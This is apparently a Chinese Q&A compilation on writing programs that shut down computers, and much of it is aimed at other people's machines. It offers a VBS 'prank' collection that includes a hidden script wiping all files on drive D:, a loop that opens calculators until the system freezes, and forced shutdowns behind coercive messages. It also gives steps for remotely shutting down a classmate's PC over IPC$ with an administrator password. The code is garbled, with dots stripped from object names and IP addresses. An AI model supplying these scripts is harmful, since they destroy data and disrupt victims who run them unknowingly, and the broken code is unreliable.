如何设计让电脑关机的程序

1在电脑桌面“计算机”或“此电脑”右键(win7,win10),点击“管理”

2在计算机管理页面,单击左边“系统工具”展开,然后点击“任务计划程序”

3点击右边“创建基本任务”选项

4在创建基本任务向导页面一:输入名称和描述,然后点击“下一步”

5在创建基本任务向导页面二:触发器,选择“一次”,然后点击“下一步”

新建文本文档，复制下面的一行代码粘贴进去：

shutdown -t 1 -s -c 关机

然后保存，文件改名为：关机bat（这里说明一下，名字可以任意，但是后缀名bat不能变）

说明：

shutdown是windows自带的关机程序。在c:\windows\system32下可以找到。

参数说明：-t 设置关机时间，1表示关机时间为1秒；

-s 关机的意思； -c 是设置消息，后面的关机就是所设置的消息。

1、在桌面单击右键—新建一个记事本—输入：

dim WSHshellA

set WSHshellA = wscriptcreateobject("wscriptshell")

WSHshellArun "cmdexe /c shutdown -r -t 1000 -c ""说我是猪，不说我是猪就10秒关你机，不信？试试···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","不说",8000,7000)

msgbox a & "，我确认",vbInformation,"HaHa"

loop

msgbox "哦，原来你是猪！早说就行了嘛！" , vbInformation , "^_^"

dim WSHshell

set WSHshell = wscriptcreateobject("wscriptshell")

WSHshellrun "cmdexe /c shutdown -a",0 ,true

msgbox "哈哈哈哈，真过瘾",vbInformation,"呵呵"

2、保存记事本：文件—保存—关闭记事本

3、修改记事本的名称及后缀名：右击记事本，在d出的菜单选择“重命名”—修改名称为“你好vbs”

上面方法是带取消命令的、还有一种是直接关机的、就是直接写入：shutdown -s -t 1000

就可以了！-t 后面代表的是秒速、即可设置为1秒、就马上关机

如果你会远程控制，在你控制他电脑后，点运行，输入cmd，回车，然后再输入shutdown -s,这样他的电脑就会关机，如果你输入shutdown /s /t 时间，就会在预定时间内自动关机，如果你想取消，输入shutdown -a 就行了

那你要找黑客高手了，这不是我们这些小老百姓懂的，呵呵

1远程运行无非是运用IPC$连接或WMI调用，运行权限需要本地管理员组的账户和密码。GUEST和USER权限是不行的！IPC$用到TCP139，445端口，WMI用到TCP135端口。所以，要防止人家运用远程命令关你的机，只需要：不给人家知道你的管理员密码就可以了。如果是域环境或者对方已经知道了你的密码，那么用防火墙关闭以上端口即可。

2若想用IPC$关闭对方机器，你需要的条件和上面一样。然后：

步骤一，就是楼上所说的：net use \\19216808\IPC$ "administrator的密码" /user:"administrator" 。即建立了IPC$连接

步骤二，楼上说错了。本地运行 shutdown 岂不是关闭了自己机器么！！

应该是 at \\19216808 14:22 shutdown -t 1

解释一下：

at \\19216808 表示将在19216808这台机器上运行这个命令！！

14:22 表示命令运行的时间，设置为当前时间2分钟之后即可。注意是24小时制

shutdown -t 1 表示命令执行后一秒钟之后关机（此命令无法及时关机的！所以设定为1秒之后）

效果：对方机器在14:22跳出“计算机将于1秒钟后关毕”，然后自动倒数1秒，关机。很像冲击波病毒，呵呵。不过冲击波是倒数60秒，我们还可以 shutdown -i 取消关机。倒数1秒就没时间咯~~

vbs整人代码大集合，收集的比较全，喜欢的朋友可以参考下。不要搞破坏，学习vbs的朋友非常有帮助，死循环的使用比较多。新建一个记事本 把下面的代码复制进去 另存为VBE格式的就可以了 ：

一、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

do

msgbox "You are foolish!"

loop

----------------------------------------------------------------------------

二、打开无数个计算器，直到死机

set wsh=createobject("wscriptshell")

do

wshrun "calc"

loop

----------------------------------------------------------------------------

三、直接关机

dim WSHshell

set WSHshell = wscriptcreateobject("wscriptshell")

WSHshellrun "shutdown -f -s -t 00",0 ,true

---------------------------------------------------------------------------

四、删除D:\所有文件

dim WSHshell

set WSHshell = wscriptcreateobject("wscriptshell")

WSHshellrun "cmd /c ""del d:\ / f /q /s""",0 ,true

----------------------------------------------------------------------------

五、不断d出窗口

while(1)

msgbox "哈哈 你被耍了！"

loop

----------------------------------------------------------------------------

六、不断按下alt+f4 （开什么都关闭……）

dim WSHshell

set WSHshell = wscriptcreateobject("wscriptshell")

while(1)

WSHshellSendKeys "%{F4}" loop

---------------------------------------------------------------------------

七、按500次回车

(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

dim s

do until s=500

s=s+1

msgbox "哥们，给我按500次回车吧",64

loop

---------------------------------------------------------------------------

八、关不掉的窗口

WScriptEcho("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)

WScriptEcho("你是可爱的小朋吗") WScriptEcho("哈,我想你拉，这你都不知道吗？")

WScriptEcho("怎么才来，说~是不是不关心我") WScriptEcho("哼,我生气拉，等你这么久，心都凉啦。")

WScriptEcho("小强很生气，后果很严重哦。") WScriptEcho("嘿嘿！你也会很惨滴哦")

WScriptEcho("是不是想清除我？") WScriptEcho("那你要点上50下哦，不过会给你惊喜滴")

WScriptEcho("还剩49下，快点点哦") WScriptEcho("还剩48下，快点，小笨蛋！")

WScriptEcho("还剩47下对，就这样快点点！") WScriptEcho("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")

WScriptEcho("还剩45下，记得要快哦！") WScriptEcho("还剩43下")

WScriptEcho("还剩42下")

WScriptEcho("还剩41下") WScriptEcho("还剩40下")

WScriptEcho("还剩39下")

WScriptEcho("还剩38下") WScriptEcho("还剩37下")

WScriptEcho("还剩36下")

WScriptEcho("还剩35下") WScriptEcho("还剩34下")

WScriptEcho("还剩33下")

WScriptEcho("还剩32下") WScriptEcho("还剩30下")

WScriptEcho("还剩29下")

WScriptEcho("还剩28下") WScriptEcho("还剩27下")

WScriptEcho("还剩26下")

WScriptEcho("还剩25下") WScriptEcho("还剩24下")

WScriptEcho("还剩23下")

WScriptEcho("还剩22下") WScriptEcho("还剩21下")

WScriptEcho("还剩20下")

WScriptEcho("还剩19下") WScriptEcho("还剩18下")

WScriptEcho("还剩17下")

WScriptEcho("还剩16下") WScriptEcho("还剩15下")

WScriptEcho("还剩14下") WScriptEcho("还剩13下停停！！！慢点，我有话要说")

WScriptEcho("还剩12下，你继续点我就会消失滴") WScriptEcho("还剩11下，以后就看不到我拉。555555")

WScriptEcho("还剩10下，你现在可以选择停止！") WScriptEcho("还剩9下。你还点啊，不要我拉？")

WScriptEcho("还剩8下，有点伤心拉，干嘛丢弃人家") WScriptEcho("还剩7下。疯了，你有点负意！")

WScriptEcho("还剩6下。对。你就点吧，我恨你！") WScriptEcho("还剩5下，不明白，删除我你就好吗？")

WScriptEcho("还剩4下！真要删除我？") WScriptEcho("还剩3下。可是我真的很眷恋你。。。")

WScriptEcho("还剩2下。不要这么绝情嘛，人家是爱你的！") WScriptEcho("还剩1下。哼，既然你这么绝情。也别怪我无义！！！") WScriptEcho("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次") WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次") WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

-----------------------------------------------------------------

为了友谊的小船，请谨慎使用

这个简单,我也用过的,你的意思应该是在局域网内吧,听好了先声明不用安装任何软件

右击我的电脑-管理,单击" *** 作"下拉菜单---连接到另一台计算机,然后找到你要捉弄的同学的机器(这里看的是机器名而非IP),确定后,回到"计算机管理"窗口,在右侧空白处,选择"属性",好象在最后一个选项卡下(记不太清了,自己找找,肯定能找到),有个"故障恢复"(好象是)按钮,然后在里面选择"强制关机"就OK了

以上就是关于如何设计让电脑关机的程序全部的内容，包括:如何设计让电脑关机的程序、求一个恶搞软件，让别人打开就能让他的电脑关机 谢谢了、怎么制作让别人电脑自动关机的文件等相关内容解答，如果想了解更多相关内容，可以关注我们，你们的支持是我们更新的动力！